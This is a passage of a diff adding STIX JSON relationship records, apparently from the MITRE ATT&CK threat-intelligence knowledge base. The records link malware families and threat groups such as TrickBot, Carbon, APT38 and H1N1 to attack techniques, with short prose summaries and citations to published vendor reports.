"external_references": [ + { + "description": "Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.", + "source_name": "Talos Agent Tesla Oct 2018", + "url": "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) uses ports 80 and 443 for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:09:26.707Z", + "id": "relationship--263d83dc-b78f-42de-8518-6d1456c01b90", + "source_ref": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f", + "modified": "2019-04-19T15:10:04.409Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto UBoatRAT Nov 2017", + "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[Carbon](https://attack.mitre.org/software/S0335) establishes persistence by creating a service and naming it based off the operating system version running on the current machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:36:02.740Z", + "id": "relationship--677e0d3e-4a61-490d-a49d-f392cc3432d1", + "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "modified": "2019-04-12T14:43:22.668Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Carbon Mar 2017", + "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", + "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[Epic](https://attack.mitre.org/software/S0091) encrypts commands from the C2 server using a hardcoded key.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:55:48.154Z", + "id": "relationship--bcc48bba-95a6-465b-ad37-90e2faee5707", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "modified": "2019-07-26T16:10:42.985Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) searches for anti-virus software running on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T20:17:49.232Z", + "id": "relationship--cdefab78-5d90-4e89-8664-5bbd30ab1517", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "modified": "2019-06-30T22:44:28.218Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 Tropic Trooper Nov 2016", + "description": "Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[APT38](https://attack.mitre.org/groups/G0082) used a backdoor, NESTEGG, that has the capability to download and upload files to and from a victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:27:25.298Z", + "id": "relationship--559dfd54-de33-4cfc-aeec-617cd545e870", + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "modified": "2019-09-09T19:10:53.370Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "source_name": "FireEye APT38 Oct 2018", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Cobian RAT](https://attack.mitre.org/software/S0338) can launch a remote command shell interface for executing commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:40:37.806Z", + "id": "relationship--543fe202-892b-4282-b691-090029b56b1f", + "source_ref": "malware--aa1462a1-d065-416c-b354-bedd04998c7f", + "modified": "2019-04-23T21:09:54.688Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Yadav, A., et al. (2017, August 31). Cobian RAT \u2013 A backdoored RAT. Retrieved November 13, 2018.", + "source_name": "Zscaler Cobian Aug 2017", + "url": "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Octopus](https://attack.mitre.org/software/S0340) can capture screenshots of the victims\u2019 machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:24:09.054Z", + "id": "relationship--f590ef19-3b83-459d-993c-a599407b7ca0", + "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2", + "modified": "2019-01-30T13:24:09.055Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.", + "source_name": "Securelist Octopus Oct 2018", + "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) enumerates all Windows services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:53:14.850Z", + "id": "relationship--7c58aab0-77cf-469e-836e-2b8c031afd1e", + "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "modified": "2019-04-17T22:22:22.015Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) can obtain passwords stored in files from several applications such as Outlook, Filezilla, and WinSCP. Additionally, it searches for the \".vnc.lnk\" affix to steal VNC credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T14:11:44.244Z", + "id": "relationship--5b2f0fb3-5877-4fa2-bed1-1962423caccd", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "modified": "2019-06-24T19:15:06.700Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Trend Micro Trickbot Nov 2018", + "description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/" + }, + { + "description": "Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019.", + "source_name": "TrendMicro Trickbot Feb 2019", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[Azorult](https://attack.mitre.org/software/S0344) can encrypt C2 traffic using XOR.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:19:14.963Z", + "id": "relationship--14568d94-858d-4b8a-af94-88cd17f6ab10", + "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "modified": "2019-07-26T23:22:28.495Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + }, + { + "source_name": "Proofpoint Azorult July 2018", + "description": "Proofpoint. (2018, July 30). New version of AZORult stealer improves loading features, spreads alongside ransomware in new campaign. Retrieved November 29, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used PowerShell scripts for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--204159d6-7f4a-4e0f-b492-974a776af423", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.619Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "description": "Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.", + "source_name": "Symantec Dragonfly Sept 2017", + "url": "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) connects to a predefined domain on port 443 to exfil gathered information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--c5a0e330-ec5a-49cc-95b8-b7a5c49bd500", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", + "source_name": "Symantec Hydraq Jan 2010", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "The [DustySky](https://attack.mitre.org/software/S0062) dropper uses Windows Management Instrumentation to extract information about the operating system and whether an anti-virus is active.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6a58662b-4eb1-4172-b387-13e9b574368a", + "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "source_name": "DustySky", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Kasidet](https://attack.mitre.org/software/S0088) has the ability to download and execute additional files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c39e878e-a496-4271-9998-2d5c9511e0a4", + "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.", + "source_name": "Zscaler Kasidet", + "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) uploads files from a specified directory to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e4f09baa-2eae-445f-b000-5de3db07ad34", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "modified": "2019-04-24T15:26:03.800Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21", + "description": "Some [Orz](https://attack.mitre.org/software/S0229) versions have an embedded DLL known as MockDll that uses process hollowing and [Regsvr32](https://attack.mitre.org/techniques/T1117) to execute another payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--e039e3d4-2e3d-4e6e-902e-5e1834abe8e4", + "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", + "modified": "2019-09-16T18:01:16.137Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "source_name": "Proofpoint Leviathan Oct 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "[FIN10](https://attack.mitre.org/groups/G0051) has used RDP to move laterally to systems in the victim environment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a48e7d01-012a-4336-9676-0f34e8501e22", + "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b", + "modified": "2019-04-25T12:09:56.320Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.", + "source_name": "FireEye FIN10 June 2017", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "description": "The [APT1](https://attack.mitre.org/groups/G0006) group is known to have used pass the hash.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.035Z", + "id": "relationship--3b35fec9-ee0d-4c2d-9936-0aa06ad6a49a", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.335Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) marks files to be deleted upon the next system reboot and uninstalls and removes itself from the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--172a8a26-d2c9-4d29-b050-55949c0186dd", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "source_name": "McAfee Bankshot", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s New-UserPersistenceOption Persistence argument can be used to establish via a [Scheduled Task](https://attack.mitre.org/techniques/T1053).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--91c5d713-a89c-49fa-92eb-abaf18fae988", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "modified": "2019-04-24T23:43:08.197Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers the Address Resolution Protocol (ARP) table from the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.073Z", + "id": "relationship--510c2f8c-4570-4c19-8c36-7004f8bbf561", + "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "source_name": "Citizen Lab Stealth Falcon May 2016", + "url": "https://citizenlab.org/2016/05/stealth-falcon/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) collects information about available drives, default browser, desktop file list, My Documents, Internet history, program files, and root of available drives. It also searches for ICS-related software files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b8f1354c-9cff-40ef-aa47-591952c735c3", + "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "source_name": "Symantec Dragonfly", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) monitors USB devices and copies files with certain extensions to\na predefined directory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5027a119-ff43-4ca6-a862-3efe39b29b3e", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[FIN8](https://attack.mitre.org/groups/G0061)'s malicious spearphishing payloads are executed as [PowerShell](https://attack.mitre.org/techniques/T1086). [FIN8](https://attack.mitre.org/groups/G0061) has also used [PowerShell](https://attack.mitre.org/techniques/T1086) during [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and [Credential Access](https://attack.mitre.org/tactics/TA0006).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--cd001a55-ed41-4109-9090-41bebed9113a", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "modified": "2019-10-01T14:35:15.282Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Obfuscation June 2017", + "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html" + }, + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "The [CALENDAR](https://attack.mitre.org/software/S0025) malware communicates through the use of events in Google Calendar.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2244e21e-b7f6-476f-8f58-67db772f9736", + "source_ref": "malware--5a84dc36-df0d-4053-9b7c-f0c388a57283", + "modified": "2019-01-30T15:39:45.683Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + }, + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", + "description": "[H1N1](https://attack.mitre.org/software/S0132) disable recovery options and deletes shadow copies from the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2d090e9d-f9fb-4f73-99df-0e17a7489adb", + "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", + "modified": "2019-04-29T18:23:16.022Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.", + "source_name": "Cisco H1N1 Part 2", + "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[Duqu](https://attack.mitre.org/software/S0038) can be configured to have commands relayed over a peer-to-peer network of infected hosts if some of the hosts do not have Internet access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1451c4a3-5dc6-4744-8120-197f3a3134c1", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "modified": "2019-04-24T23:18:53.289Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Koadic](https://attack.mitre.org/software/S0250) performs most of its operations using Windows Script Host (Jscript and VBScript) and runs arbitrary shellcode .", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--08738197-aa06-4177-acc2-10569c39f423", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "source_name": "Github Koadic", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "description": "[H1N1](https://attack.mitre.org/software/S0132) bypasses user access control by using a DLL hijacking vulnerability in the Windows Update Standalone Installer (wusa.exe).", + "created_by_ref": 